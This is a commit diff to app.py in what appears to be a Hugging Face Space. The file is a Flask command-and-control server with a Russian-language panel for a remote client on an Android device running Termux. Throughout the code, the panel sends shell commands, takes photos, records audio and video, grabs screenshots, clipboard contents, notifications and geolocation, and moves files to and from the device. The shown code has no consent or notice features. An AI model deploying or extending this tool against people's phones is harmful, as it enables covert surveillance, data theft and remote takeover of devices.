Spaces:
Running
Running
Update app.py
Browse files
app.py
CHANGED
@@ -3,7 +3,7 @@ import os
|
|
3 |
import datetime
|
4 |
import uuid
|
5 |
import werkzeug.utils
|
6 |
-
import json
|
7 |
|
8 |
app = Flask(__name__)
|
9 |
app.config['UPLOAD_FOLDER'] = 'uploads_from_client'
|
@@ -15,7 +15,7 @@ os.makedirs(app.config['FILES_TO_CLIENT_FOLDER'], exist_ok=True)
|
|
15 |
pending_command = None
|
16 |
command_output = "Ожидание команд..."
|
17 |
last_client_heartbeat = None
|
18 |
-
current_client_path = "~"
|
19 |
file_to_send_to_client = None
|
20 |
device_status_info = {}
|
21 |
notifications_history = []
|
@@ -59,6 +59,7 @@ HTML_TEMPLATE = """
|
|
59 |
.hidden-section { display: none; }
|
60 |
.status-item { margin-bottom: 10px; }
|
61 |
.status-item strong { color: #333; }
|
|
|
62 |
.notification-list { max-height: 400px; overflow-y: auto; border: 1px solid #ddd; padding: 10px; background-color: #fdfdfd;}
|
63 |
.notification-item { border-bottom: 1px solid #eee; padding: 8px 0; margin-bottom: 8px; }
|
64 |
.notification-item:last-child { border-bottom: none; }
|
@@ -75,9 +76,9 @@ HTML_TEMPLATE = """
|
|
75 |
document.querySelector(`.sidebar a[href="#${sectionId}"]`).classList.add('active');
|
76 |
currentView = sectionId;
|
77 |
if (sectionId === 'files') refreshClientPathDisplay();
|
78 |
-
if (sectionId === 'device_status') requestDeviceStatus();
|
79 |
if (sectionId === 'notifications') requestNotifications();
|
80 |
-
refreshOutput(); // Refresh output
|
81 |
}
|
82 |
|
83 |
async function refreshOutput() {
|
@@ -85,18 +86,16 @@ HTML_TEMPLATE = """
|
|
85 |
const response = await fetch('/get_status_output');
|
86 |
const data = await response.json();
|
87 |
|
88 |
-
|
89 |
-
const generalOutputViews = ['dashboard', 'shell', 'media', 'clipboard', 'utils'];
|
90 |
-
if (data.output && generalOutputViews.includes(currentView)) {
|
91 |
document.getElementById('outputArea').innerText = data.output;
|
92 |
}
|
93 |
-
|
94 |
if (data.last_heartbeat) {
|
95 |
const statusDiv = document.getElementById('clientStatus');
|
96 |
const lastBeat = new Date(data.last_heartbeat);
|
97 |
const now = new Date();
|
98 |
const diffSeconds = (now - lastBeat) / 1000;
|
99 |
-
if (diffSeconds < 45) {
|
100 |
statusDiv.className = 'status online';
|
101 |
statusDiv.innerText = 'Клиент ОНЛАЙН (Пинг: ' + lastBeat.toLocaleTimeString() + ')';
|
102 |
} else {
|
@@ -108,33 +107,33 @@ HTML_TEMPLATE = """
|
|
108 |
document.getElementById('clientStatus').innerText = 'Клиент ОФФЛАЙН';
|
109 |
}
|
110 |
|
111 |
-
if (currentView === 'files') {
|
112 |
-
|
113 |
-
if (data.output && data.output.startsWith("Содержимое")) {
|
114 |
renderFileList(data.output, data.current_path);
|
115 |
-
} else if (data.output) { // If
|
116 |
document.getElementById('fileList').innerHTML = `<li>${data.output.replace(/\\n/g, '<br>')}</li>`;
|
117 |
}
|
118 |
}
|
119 |
-
|
120 |
const filesResponse = await fetch('/list_uploaded_files');
|
121 |
const filesData = await filesResponse.json();
|
122 |
const serverFileListUl = document.getElementById('serverUploadedFiles');
|
123 |
-
serverFileListUl.innerHTML = '';
|
124 |
if (filesData.files && filesData.files.length > 0) {
|
125 |
filesData.files.forEach(file => {
|
126 |
const li = document.createElement('li');
|
127 |
const a = document.createElement('a');
|
128 |
a.href = '/uploads_from_client/' + encodeURIComponent(file);
|
129 |
a.textContent = file;
|
130 |
-
a.target = '_blank';
|
131 |
li.appendChild(a);
|
132 |
serverFileListUl.appendChild(li);
|
133 |
});
|
134 |
} else {
|
135 |
serverFileListUl.innerHTML = '<li>Нет загруженных файлов с клиента.</li>';
|
136 |
}
|
137 |
-
|
138 |
if (data.device_status && currentView === 'device_status') {
|
139 |
updateDeviceStatusDisplay(data.device_status);
|
140 |
}
|
@@ -144,40 +143,52 @@ HTML_TEMPLATE = """
|
|
144 |
|
145 |
} catch (error) {
|
146 |
console.error("Error refreshing data:", error);
|
147 |
-
|
148 |
-
if (generalOutputViews.includes(currentView)) {
|
149 |
document.getElementById('outputArea').innerText = "Ошибка обновления данных с сервера.";
|
150 |
}
|
151 |
}
|
152 |
}
|
153 |
-
|
154 |
function updateDeviceStatusDisplay(status) {
|
155 |
-
|
156 |
-
|
157 |
-
|
158 |
-
|
159 |
-
} else {
|
160 |
-
document.getElementById('locationMapLink').innerHTML = '';
|
161 |
}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
162 |
document.getElementById('processesStatus').innerHTML = status.processes ? `<pre>${status.processes}</pre>` : '<strong>Процессы:</strong> Н/Д (Запросите для обновления)';
|
|
|
|
|
|
|
|
|
|
|
|
|
163 |
}
|
164 |
|
165 |
function renderFileList(lsOutput, currentPath) {
|
166 |
const fileListUl = document.getElementById('fileList');
|
167 |
fileListUl.innerHTML = '';
|
168 |
-
const lines = lsOutput.split('\\n'); // Assuming
|
169 |
-
// If outputArea shows literal \n, then split by '\n' might be needed.
|
170 |
-
// For now, assuming client replaces \n with \\n for JSON string.
|
171 |
-
|
172 |
-
let isRootOrHome = (currentPath === '/' || currentPath === '~'); // Simplified check
|
173 |
-
// Check for path like /data/data/com.termux/files/home too, which is effectively ~
|
174 |
-
if (currentPath.startsWith('/data/data/com.termux/files/home') &&
|
175 |
-
(currentPath.length === '/data/data/com.termux/files/home'.length || currentPath.length === '/data/data/com.termux/files/home'.length + 1 && currentPath.endsWith('/'))) {
|
176 |
-
isRootOrHome = true;
|
177 |
-
}
|
178 |
-
|
179 |
|
180 |
-
|
|
|
|
|
|
|
181 |
const parentLi = document.createElement('li');
|
182 |
parentLi.className = 'dir';
|
183 |
const parentA = document.createElement('a');
|
@@ -190,46 +201,40 @@ HTML_TEMPLATE = """
|
|
190 |
|
191 |
lines.forEach(line => {
|
192 |
if (line.trim() === '' || line.startsWith("Содержимое")) return;
|
193 |
-
const parts = line.match(/^(\\[[DF]\\])\\s*(.*)/);
|
194 |
-
if (!parts)
|
195 |
-
|
196 |
-
|
197 |
-
fileListUl.appendChild(li);
|
198 |
-
return;
|
199 |
-
};
|
200 |
-
|
201 |
-
const type = parts[1];
|
202 |
const name = parts[2].trim();
|
203 |
-
|
204 |
const li = document.createElement('li');
|
205 |
const nameSpan = document.createElement('span');
|
206 |
const a = document.createElement('a');
|
207 |
a.href = '#';
|
208 |
-
|
209 |
if (type === '[D]') {
|
210 |
li.className = 'dir';
|
211 |
a.innerHTML = `<span class="file-icon">📁</span> ${name}`;
|
212 |
a.onclick = (e) => { e.preventDefault(); navigateTo(name); };
|
213 |
nameSpan.appendChild(a);
|
214 |
-
} else {
|
215 |
li.className = 'file';
|
216 |
a.innerHTML = `<span class="file-icon">📄</span> ${name}`;
|
217 |
-
//
|
218 |
-
a.onclick = (e) => { e.preventDefault(); /* Potentially show file info */ };
|
219 |
nameSpan.appendChild(a);
|
220 |
|
221 |
const downloadBtn = document.createElement('button');
|
222 |
downloadBtn.className = 'download-btn';
|
223 |
downloadBtn.textContent = 'Скачать';
|
224 |
downloadBtn.onclick = (e) => { e.preventDefault(); requestDownloadFile(name); };
|
225 |
-
li.appendChild(nameSpan);
|
226 |
-
li.appendChild(downloadBtn);
|
227 |
}
|
228 |
-
if (type === '[D]') li.appendChild(nameSpan);
|
229 |
fileListUl.appendChild(li);
|
230 |
});
|
231 |
}
|
232 |
-
|
233 |
function renderNotifications(notifications) {
|
234 |
const notificationListDiv = document.getElementById('notificationList');
|
235 |
notificationListDiv.innerHTML = '';
|
@@ -237,14 +242,12 @@ HTML_TEMPLATE = """
|
|
237 |
notifications.forEach(n => {
|
238 |
const itemDiv = document.createElement('div');
|
239 |
itemDiv.className = 'notification-item';
|
240 |
-
const title = n.title || (n.ticker && n.ticker !== "null" ? n.ticker : 'Без заголовка'); // Better title fallback
|
241 |
-
const content = n.content || (n.text && n.text !== "null" ? n.text : 'Нет содержимого'); // Better content fallback
|
242 |
itemDiv.innerHTML = `
|
243 |
-
<strong>${title} (ID: ${n.id || 'N/A'})</strong>
|
244 |
<span><strong>Приложение:</strong> ${n.packageName || 'N/A'}</span>
|
245 |
<span><strong>Тег:</strong> ${n.tag || 'N/A'}, <strong>Ключ:</strong> ${n.key || 'N/A'}</span>
|
246 |
<span><strong>Когда:</strong> ${n.when ? new Date(n.when).toLocaleString() : 'N/A'}</span>
|
247 |
-
<p>${content}</p>
|
248 |
`;
|
249 |
notificationListDiv.appendChild(itemDiv);
|
250 |
});
|
@@ -252,15 +255,24 @@ HTML_TEMPLATE = """
|
|
252 |
notificationListDiv.innerHTML = '<p>Нет уведомлений для отображения или не удалось их получить.</p>';
|
253 |
}
|
254 |
}
|
255 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
256 |
async function sendGenericCommand(payload) {
|
257 |
try {
|
258 |
-
//
|
259 |
-
|
260 |
-
|
|
|
261 |
document.getElementById('outputArea').innerText = "Отправка команды...";
|
262 |
-
} else if (currentView === 'files') {
|
263 |
-
// For file view, commands might update file list, don't overwrite general output unless error
|
264 |
}
|
265 |
|
266 |
const response = await fetch('/send_command', {
|
@@ -270,35 +282,29 @@ HTML_TEMPLATE = """
|
|
270 |
});
|
271 |
if (!response.ok) {
|
272 |
console.error("Server error sending command");
|
273 |
-
if (
|
274 |
-
|
275 |
-
|
276 |
-
}
|
277 |
-
// Result will be shown by refreshOutput
|
278 |
} catch (error) {
|
279 |
console.error("Network error sending command:", error);
|
280 |
-
|
281 |
-
document.getElementById('outputArea').innerText = "Сетевая ошибка при отправке команды.";
|
282 |
-
}
|
283 |
}
|
284 |
}
|
285 |
|
286 |
function navigateTo(itemName) {
|
287 |
sendGenericCommand({ command_type: 'list_files', path: itemName });
|
288 |
-
if (currentView === 'files') {
|
289 |
document.getElementById('fileList').innerHTML = '<li>Загрузка...</li>';
|
290 |
}
|
291 |
}
|
292 |
|
293 |
function requestDownloadFile(filename) {
|
294 |
sendGenericCommand({ command_type: 'request_download_file', filename: filename });
|
295 |
-
|
296 |
-
|
297 |
-
document.getElementById('outputArea').innerText = `Запрос на скачивание файла ${filename}... Ожидайте появления в разделе "Загрузки с клиента".`;
|
298 |
}
|
299 |
-
// Also good to have a specific status message in the "files" view if possible, or rely on refreshOutput for the command's direct response.
|
300 |
}
|
301 |
-
|
302 |
function refreshClientPathDisplay(){
|
303 |
if (document.getElementById('currentPathDisplay')) {
|
304 |
fetch('/get_status_output').then(r=>r.json()).then(data => {
|
@@ -308,44 +314,37 @@ HTML_TEMPLATE = """
|
|
308 |
}
|
309 |
|
310 |
window.onload = () => {
|
311 |
-
showSection('dashboard');
|
312 |
-
setInterval(refreshOutput, 4000);
|
313 |
-
refreshOutput();
|
314 |
};
|
315 |
-
|
316 |
function submitShellCommand(event) {
|
317 |
event.preventDefault();
|
318 |
const command = document.getElementById('command_str').value;
|
319 |
sendGenericCommand({ command_type: 'shell', command: command });
|
320 |
document.getElementById('command_str').value = '';
|
321 |
}
|
322 |
-
|
323 |
-
function submitMediaCommand(type,
|
324 |
let payload = { command_type: type };
|
325 |
-
if (paramsConfig
|
326 |
-
|
327 |
-
const
|
328 |
-
|
329 |
-
|
330 |
-
|
331 |
-
// Send param if element exists and has a non-empty value, or if it's a type that might allow empty (though not for current media params)
|
332 |
-
if (valueElement && valueElement.value) {
|
333 |
-
payload[paramName] = valueElement.value;
|
334 |
-
} else if (valueElement && paramName === 'camera_id' && valueElement.value === '0') { // Explicitly allow '0' for camera_id
|
335 |
-
payload[paramName] = valueElement.value;
|
336 |
-
}
|
337 |
-
// If value is empty for duration, server-side defaults will be used.
|
338 |
}
|
339 |
-
}
|
340 |
}
|
341 |
sendGenericCommand(payload);
|
342 |
}
|
343 |
-
|
344 |
async function handleUploadToServer(event) {
|
345 |
event.preventDefault();
|
346 |
const fileInput = document.getElementById('fileToUploadToDevice');
|
347 |
const targetPathInput = document.getElementById('targetDevicePath');
|
348 |
-
|
349 |
if (!fileInput.files[0]) {
|
350 |
alert("Пожалуйста, выберите файл для загрузки.");
|
351 |
return;
|
@@ -358,7 +357,7 @@ HTML_TEMPLATE = """
|
|
358 |
const formData = new FormData();
|
359 |
formData.append('file_to_device', fileInput.files[0]);
|
360 |
formData.append('target_path_on_device', targetPathInput.value);
|
361 |
-
|
362 |
document.getElementById('uploadToDeviceStatus').innerText = 'Загрузка файла на сервер...';
|
363 |
|
364 |
try {
|
@@ -369,12 +368,10 @@ HTML_TEMPLATE = """
|
|
369 |
const result = await response.json();
|
370 |
if (result.status === 'success') {
|
371 |
document.getElementById('uploadToDeviceStatus').innerText = 'Файл загружен на сервер, ожидание отправки клиенту. Имя файла на сервере: ' + result.server_filename;
|
372 |
-
|
373 |
-
|
374 |
-
|
375 |
-
|
376 |
-
target_path_on_device: result.target_path_on_device,
|
377 |
-
original_filename: result.original_filename // Client needs this to save with correct name
|
378 |
});
|
379 |
} else {
|
380 |
document.getElementById('uploadToDeviceStatus').innerText = 'Ошибка: ' + result.message;
|
@@ -383,7 +380,7 @@ HTML_TEMPLATE = """
|
|
383 |
document.getElementById('uploadToDeviceStatus').innerText = 'Сетевая ошибка при загрузке файла на сервер: ' + error;
|
384 |
}
|
385 |
}
|
386 |
-
|
387 |
function getClipboard() {
|
388 |
sendGenericCommand({ command_type: 'clipboard_get' });
|
389 |
}
|
@@ -402,12 +399,19 @@ HTML_TEMPLATE = """
|
|
402 |
function requestDeviceStatus(item = null) {
|
403 |
let payload = { command_type: 'get_device_status' };
|
404 |
if (item) {
|
405 |
-
payload.item = item;
|
406 |
}
|
407 |
sendGenericCommand(payload);
|
|
|
|
|
|
|
|
|
|
|
|
|
408 |
}
|
409 |
function requestNotifications() {
|
410 |
sendGenericCommand({ command_type: 'get_notifications' });
|
|
|
411 |
}
|
412 |
|
413 |
</script>
|
@@ -458,13 +462,19 @@ HTML_TEMPLATE = """
|
|
458 |
<div id="locationMapLink" class="status-item"></div>
|
459 |
<button onclick="requestDeviceStatus('location')">Обновить геолокацию</button>
|
460 |
</div>
|
461 |
-
|
462 |
<h3>Запущенные процессы (пользователя Termux)</h3>
|
463 |
<div id="processesStatus" class="status-item"><strong>Процессы:</strong> Н/Д</div>
|
464 |
<button onclick="requestDeviceStatus('processes')">Обновить процессы</button>
|
465 |
</div>
|
|
|
|
|
|
|
|
|
|
|
|
|
466 |
</div>
|
467 |
-
|
468 |
<div id="notifications" class="container hidden-section">
|
469 |
<h2>Уведомления устройства</h2>
|
470 |
<button onclick="requestNotifications()">Обновить уведомления</button>
|
@@ -481,8 +491,8 @@ HTML_TEMPLATE = """
|
|
481 |
<p>Текущий путь на клиенте: <strong id="currentPathDisplay">~</strong></p>
|
482 |
<button onclick="navigateTo('~')">Домашняя папка (~)</button>
|
483 |
<button onclick="navigateTo('/sdcard/')">Внутренняя память (/sdcard/)</button>
|
484 |
-
<
|
485 |
-
<
|
486 |
<div class="file-browser control-section">
|
487 |
<h3>Содержимое директории:</h3>
|
488 |
<ul id="fileList">
|
@@ -494,7 +504,7 @@ HTML_TEMPLATE = """
|
|
494 |
<form id="uploadForm" onsubmit="handleUploadToServer(event)">
|
495 |
<label for="fileToUploadToDevice">Выберите файл:</label>
|
496 |
<input type="file" id="fileToUploadToDevice" name="file_to_device" required>
|
497 |
-
<label for="targetDevicePath">Путь для сохранения на устройстве (например, `/sdcard/Download/` или `~/`):</label>
|
498 |
<input type="text" id="targetDevicePath" name="target_path_on_device" value="/sdcard/Download/" required>
|
499 |
<button type="submit">Загрузить на устройство</button>
|
500 |
</form>
|
@@ -511,35 +521,35 @@ HTML_TEMPLATE = """
|
|
511 |
</form>
|
512 |
<div class="control-section" style="margin-top:20px;">
|
513 |
<h3>Вывод команды:</h3>
|
514 |
-
<pre id="outputAreaShellCopy"></pre>
|
515 |
</div>
|
516 |
</div>
|
517 |
|
518 |
<div id="media" class="container hidden-section">
|
519 |
<h2>Мультимедиа</h2>
|
520 |
<div class="control-section">
|
521 |
-
<button onclick="submitMediaCommand('take_photo', 'camera_id', 'camera_id_input')">Сделать фото</button>
|
522 |
<label for="camera_id_input" style="display:inline-block; margin-left:10px;">ID камеры:</label>
|
523 |
<input type="text" id="camera_id_input" value="0" style="width:50px; display:inline-block;">
|
524 |
</div>
|
525 |
<div class="control-section">
|
526 |
-
<button onclick="submitMediaCommand('record_audio', 'duration', 'audio_duration_input')">Записать аудио</button>
|
527 |
<label for="audio_duration_input" style="display:inline-block; margin-left:10px;">Длительность (сек):</label>
|
528 |
<input type="text" id="audio_duration_input" value="5" style="width:50px; display:inline-block;">
|
529 |
</div>
|
530 |
-
<div class="control-section">
|
531 |
-
<button onclick="submitMediaCommand('record_video', 'duration', 'video_duration_input', 'camera_id', 'video_camera_id_input')">Записать видео</button>
|
532 |
<label for="video_duration_input" style="display:inline-block; margin-left:10px;">Длительность (сек):</label>
|
533 |
<input type="text" id="video_duration_input" value="10" style="width:50px; display:inline-block;">
|
534 |
<label for="video_camera_id_input" style="display:inline-block; margin-left:10px;">ID камеры:</label>
|
535 |
<input type="text" id="video_camera_id_input" value="0" style="width:50px; display:inline-block;">
|
536 |
</div>
|
537 |
<div class="control-section">
|
538 |
-
<button onclick="submitMediaCommand('screenshot')">Сделать скриншот</button>
|
539 |
</div>
|
540 |
<div class="control-section" style="margin-top:20px;">
|
541 |
<h3>Результат операции:</h3>
|
542 |
-
<pre id="outputAreaMediaCopy"></pre>
|
543 |
</div>
|
544 |
</div>
|
545 |
|
@@ -555,7 +565,7 @@ HTML_TEMPLATE = """
|
|
555 |
</div>
|
556 |
<div class="control-section" style="margin-top:20px;">
|
557 |
<h3>Результат операции с буфером:</h3>
|
558 |
-
<pre id="outputAreaClipboardCopy"></pre>
|
559 |
</div>
|
560 |
</div>
|
561 |
|
@@ -568,10 +578,10 @@ HTML_TEMPLATE = """
|
|
568 |
</div>
|
569 |
<div class="control-section" style="margin-top:20px;">
|
570 |
<h3>Результат операции:</h3>
|
571 |
-
<pre id="outputAreaUtilsCopy"></pre>
|
572 |
</div>
|
573 |
</div>
|
574 |
-
|
575 |
<div id="uploads" class="container hidden-section">
|
576 |
<h2>Файлы, загруженные С клиента на сервер</h2>
|
577 |
<div class="control-section">
|
@@ -582,25 +592,24 @@ HTML_TEMPLATE = """
|
|
582 |
</div>
|
583 |
</div>
|
584 |
<script>
|
585 |
-
// This
|
|
|
586 |
document.addEventListener('DOMContentLoaded', () => {
|
587 |
const outputArea = document.getElementById('outputArea');
|
588 |
const outputAreaShellCopy = document.getElementById('outputAreaShellCopy');
|
589 |
const outputAreaMediaCopy = document.getElementById('outputAreaMediaCopy');
|
590 |
const outputAreaClipboardCopy = document.getElementById('outputAreaClipboardCopy');
|
591 |
const outputAreaUtilsCopy = document.getElementById('outputAreaUtilsCopy');
|
592 |
-
|
593 |
const observer = new MutationObserver(() => {
|
594 |
-
|
595 |
-
if (
|
596 |
-
if (
|
597 |
-
if (
|
598 |
-
if (outputAreaUtilsCopy && currentView === 'utils') outputAreaUtilsCopy.innerText = outputArea.innerText;
|
599 |
});
|
600 |
|
601 |
-
// Observe the main outputArea for changes
|
602 |
if (outputArea) {
|
603 |
-
|
604 |
}
|
605 |
});
|
606 |
</script>
|
@@ -614,10 +623,10 @@ def index():
|
|
614 |
|
615 |
@app.route('/send_command', methods=['POST'])
|
616 |
def handle_send_command():
|
617 |
-
global pending_command, command_output,
|
618 |
|
619 |
data = request.json
|
620 |
-
command_output = "Ожидание выполнения..."
|
621 |
|
622 |
command_type = data.get('command_type')
|
623 |
|
@@ -634,11 +643,11 @@ def handle_send_command():
|
|
634 |
pending_command = {'type': 'take_photo', 'camera_id': data.get('camera_id', '0')}
|
635 |
elif command_type == 'record_audio':
|
636 |
pending_command = {'type': 'record_audio', 'duration': data.get('duration', '5')}
|
637 |
-
elif command_type == 'record_video':
|
638 |
pending_command = {
|
639 |
-
'type': 'record_video',
|
640 |
-
'
|
641 |
-
'
|
642 |
}
|
643 |
elif command_type == 'screenshot':
|
644 |
pending_command = {'type': 'screenshot'}
|
@@ -648,27 +657,23 @@ def handle_send_command():
|
|
648 |
pending_command = {'type': 'shell', 'command': command_str}
|
649 |
else:
|
650 |
command_output = "Ошибка: Команда не указана."
|
651 |
-
elif command_type == 'receive_file':
|
652 |
-
server_filename = data.get('server_filename')
|
653 |
target_path_on_device = data.get('target_path_on_device')
|
654 |
-
|
655 |
-
|
656 |
-
if server_filename and target_path_on_device and original_filename_for_client:
|
657 |
file_path_on_server = os.path.join(app.config['FILES_TO_CLIENT_FOLDER'], server_filename)
|
658 |
if os.path.exists(file_path_on_server):
|
659 |
pending_command = {
|
660 |
-
'type': 'receive_file',
|
661 |
'download_url': url_for('download_to_client', filename=server_filename, _external=True),
|
662 |
'target_path': target_path_on_device,
|
663 |
-
'original_filename':
|
664 |
}
|
665 |
-
#
|
666 |
else:
|
667 |
command_output = f"Ошибка: Файл {server_filename} не найден на сервере для отправки клиенту."
|
668 |
else:
|
669 |
-
command_output = "Ошибка: Недостаточно данных для отправки файла
|
670 |
-
app.logger.error(f"Receive_file error: server_filename={server_filename}, target_path={target_path_on_device}, original_filename={original_filename_for_client}")
|
671 |
-
|
672 |
elif command_type == 'clipboard_get':
|
673 |
pending_command = {'type': 'clipboard_get'}
|
674 |
elif command_type == 'clipboard_set':
|
@@ -681,13 +686,13 @@ def handle_send_command():
|
|
681 |
else:
|
682 |
command_output = "Ошибка: URL для открытия не указан."
|
683 |
elif command_type == 'get_device_status':
|
684 |
-
item_requested = data.get('item')
|
685 |
pending_command = {'type': 'get_device_status', 'item': item_requested}
|
686 |
elif command_type == 'get_notifications':
|
687 |
pending_command = {'type': 'get_notifications'}
|
688 |
else:
|
689 |
command_output = "Неизвестный тип команды."
|
690 |
-
|
691 |
return jsonify({'status': 'command_queued'})
|
692 |
|
693 |
|
@@ -696,14 +701,14 @@ def get_command():
|
|
696 |
global pending_command
|
697 |
if pending_command:
|
698 |
cmd_to_send = pending_command
|
699 |
-
pending_command = None
|
700 |
return jsonify(cmd_to_send)
|
701 |
-
return jsonify(None)
|
702 |
|
703 |
@app.route('/submit_client_data', methods=['POST'])
|
704 |
def submit_client_data():
|
705 |
global command_output, last_client_heartbeat, current_client_path, device_status_info, notifications_history
|
706 |
-
|
707 |
data = request.json
|
708 |
if not data:
|
709 |
return jsonify({'status': 'error', 'message': 'No data received'}), 400
|
@@ -712,7 +717,7 @@ def submit_client_data():
|
|
712 |
|
713 |
if 'output' in data:
|
714 |
new_output = data['output']
|
715 |
-
max_len = 20000
|
716 |
if len(new_output) > max_len:
|
717 |
command_output = new_output[:max_len] + "\n... (output truncated)"
|
718 |
else:
|
@@ -723,24 +728,28 @@ def submit_client_data():
|
|
723 |
|
724 |
if 'device_status_update' in data:
|
725 |
update = data['device_status_update']
|
726 |
-
for key, value in update.items():
|
727 |
device_status_info[key] = value
|
728 |
-
# If
|
729 |
-
if 'output' not in data
|
730 |
-
|
731 |
-
|
|
|
732 |
if 'notifications_update' in data:
|
733 |
-
notifications_history = data['notifications_update']
|
734 |
-
if 'output' not in data and
|
735 |
-
command_output = "Список уведомлений
|
736 |
|
737 |
|
738 |
if 'heartbeat' in data and data['heartbeat']:
|
739 |
-
# Only set "Клиент онлайн" if no other
|
740 |
-
if 'output' not in data and
|
741 |
-
|
|
|
|
|
|
|
742 |
return jsonify({'status': 'heartbeat_ok'})
|
743 |
-
|
744 |
return jsonify({'status': 'data_received'})
|
745 |
|
746 |
@app.route('/upload_from_client', methods=['POST'])
|
@@ -748,63 +757,65 @@ def upload_from_client_route():
|
|
748 |
global command_output, last_client_heartbeat
|
749 |
last_client_heartbeat = datetime.datetime.utcnow().isoformat() + "Z"
|
750 |
if 'file' not in request.files:
|
751 |
-
# This
|
752 |
-
#
|
753 |
-
#
|
754 |
-
|
755 |
-
|
756 |
-
|
757 |
-
file = request.files['file']
|
758 |
-
origin_command_type = request.form.get("origin_command_type", "unknown_origin")
|
759 |
|
|
|
760 |
if file.filename == '':
|
761 |
-
|
762 |
-
|
|
|
763 |
|
764 |
if file:
|
765 |
-
filename = werkzeug.utils.secure_filename(file.filename)
|
766 |
|
767 |
-
# Ensure unique
|
768 |
-
# For simplicity, let's add a timestamp prefix for common cases like photos/videos
|
769 |
-
if origin_command_type in ["take_photo", "record_audio", "record_video", "screenshot"]:
|
770 |
-
filename = f"{int(time.time())}_{filename}"
|
771 |
-
|
772 |
-
# Handle potential path collisions more robustly
|
773 |
base_name, ext = os.path.splitext(filename)
|
774 |
counter = 0
|
775 |
-
|
776 |
-
|
|
|
|
|
|
|
777 |
|
778 |
-
while os.path.exists(
|
779 |
counter += 1
|
780 |
-
|
781 |
-
|
|
|
782 |
|
783 |
try:
|
784 |
-
file.save(
|
785 |
-
#
|
786 |
-
#
|
787 |
-
if
|
788 |
-
|
789 |
-
#
|
790 |
-
|
|
|
|
|
|
|
|
|
|
|
791 |
except Exception as e:
|
792 |
-
|
793 |
-
|
794 |
return jsonify({'status': 'error', 'message': str(e)}), 500
|
795 |
-
|
796 |
-
return jsonify({'status': 'error', 'message': 'File object not valid after checks'}), 400
|
797 |
|
798 |
|
799 |
@app.route('/get_status_output', methods=['GET'])
|
800 |
def get_status_output_route():
|
801 |
global command_output, last_client_heartbeat, current_client_path, device_status_info, notifications_history
|
802 |
return jsonify({
|
803 |
-
'output': command_output,
|
804 |
'last_heartbeat': last_client_heartbeat,
|
805 |
'current_path': current_client_path,
|
806 |
'device_status': device_status_info,
|
807 |
-
'notifications': notifications_history
|
808 |
})
|
809 |
|
810 |
@app.route('/uploads_from_client/<path:filename>')
|
@@ -814,65 +825,66 @@ def uploaded_file_from_client(filename):
|
|
814 |
@app.route('/list_uploaded_files')
|
815 |
def list_uploaded_files_route():
|
816 |
files = []
|
817 |
-
upload_folder = app.config['UPLOAD_FOLDER']
|
818 |
try:
|
819 |
-
for f_name in os.listdir(upload_folder):
|
820 |
-
if os.path.isfile(os.path.join(upload_folder, f_name)):
|
821 |
-
files.append(f_name)
|
822 |
# Sort files by modification time, newest first
|
823 |
-
|
|
|
|
|
824 |
except Exception as e:
|
825 |
app.logger.error(f"Error listing uploaded files: {e}")
|
826 |
-
pass
|
827 |
return jsonify({'files': files})
|
828 |
|
829 |
|
830 |
@app.route('/upload_to_server_for_client', methods=['POST'])
|
831 |
def upload_to_server_for_client_route():
|
832 |
-
|
833 |
-
global command_output
|
834 |
if 'file_to_device' not in request.files:
|
835 |
return jsonify({'status': 'error', 'message': 'No file_to_device part in request'}), 400
|
836 |
-
|
837 |
file = request.files['file_to_device']
|
838 |
target_path_on_device = request.form.get('target_path_on_device')
|
839 |
|
840 |
if file.filename == '':
|
841 |
-
return jsonify({'status': 'error', 'message': 'No selected file for_device
|
842 |
-
|
843 |
if not target_path_on_device:
|
844 |
return jsonify({'status': 'error', 'message': 'Target path on device not specified'}), 400
|
845 |
|
846 |
if file:
|
847 |
original_filename = werkzeug.utils.secure_filename(file.filename)
|
848 |
-
# Use
|
849 |
-
server_side_filename = str(uuid.uuid4()) + "_" + original_filename
|
850 |
filepath_on_server = os.path.join(app.config['FILES_TO_CLIENT_FOLDER'], server_side_filename)
|
851 |
-
|
852 |
try:
|
853 |
file.save(filepath_on_server)
|
854 |
-
#
|
855 |
command_output = f"Файл {original_filename} загружен на сервер (как {server_side_filename}), готов к отправке клиенту в {target_path_on_device}."
|
856 |
-
# This JSON is returned to the handleUploadToServer JS function
|
857 |
return jsonify({
|
858 |
-
'status': 'success',
|
859 |
-
'server_filename': server_side_filename, #
|
860 |
-
'original_filename': original_filename, #
|
861 |
'target_path_on_device': target_path_on_device
|
862 |
})
|
863 |
except Exception as e:
|
864 |
-
app.logger.error(f"
|
|
|
865 |
return jsonify({'status': 'error', 'message': f'Server error saving file for client: {str(e)}'}), 500
|
866 |
-
|
867 |
-
|
|
|
868 |
|
869 |
@app.route('/download_to_client/<filename>')
|
870 |
def download_to_client(filename):
|
871 |
-
#
|
872 |
return send_from_directory(app.config['FILES_TO_CLIENT_FOLDER'], filename, as_attachment=True)
|
873 |
|
874 |
|
875 |
if __name__ == '__main__':
|
876 |
-
|
877 |
-
|
878 |
-
app.run(host='0.0.0.0', port=7860, debug=False)
|
|
|
|
|
|
|
|
3 |
import datetime
|
4 |
import uuid
|
5 |
import werkzeug.utils
|
6 |
+
import json
|
7 |
|
8 |
app = Flask(__name__)
|
9 |
app.config['UPLOAD_FOLDER'] = 'uploads_from_client'
|
|
|
15 |
pending_command = None
|
16 |
command_output = "Ожидание команд..."
|
17 |
last_client_heartbeat = None
|
18 |
+
current_client_path = "~"
|
19 |
file_to_send_to_client = None
|
20 |
device_status_info = {}
|
21 |
notifications_history = []
|
|
|
59 |
.hidden-section { display: none; }
|
60 |
.status-item { margin-bottom: 10px; }
|
61 |
.status-item strong { color: #333; }
|
62 |
+
.status-item pre { margin-top: 5px; font-size:0.9em; }
|
63 |
.notification-list { max-height: 400px; overflow-y: auto; border: 1px solid #ddd; padding: 10px; background-color: #fdfdfd;}
|
64 |
.notification-item { border-bottom: 1px solid #eee; padding: 8px 0; margin-bottom: 8px; }
|
65 |
.notification-item:last-child { border-bottom: none; }
|
|
|
76 |
document.querySelector(`.sidebar a[href="#${sectionId}"]`).classList.add('active');
|
77 |
currentView = sectionId;
|
78 |
if (sectionId === 'files') refreshClientPathDisplay();
|
79 |
+
if (sectionId === 'device_status') requestDeviceStatus();
|
80 |
if (sectionId === 'notifications') requestNotifications();
|
81 |
+
refreshOutput(); // Refresh output relevant to the new section
|
82 |
}
|
83 |
|
84 |
async function refreshOutput() {
|
|
|
86 |
const response = await fetch('/get_status_output');
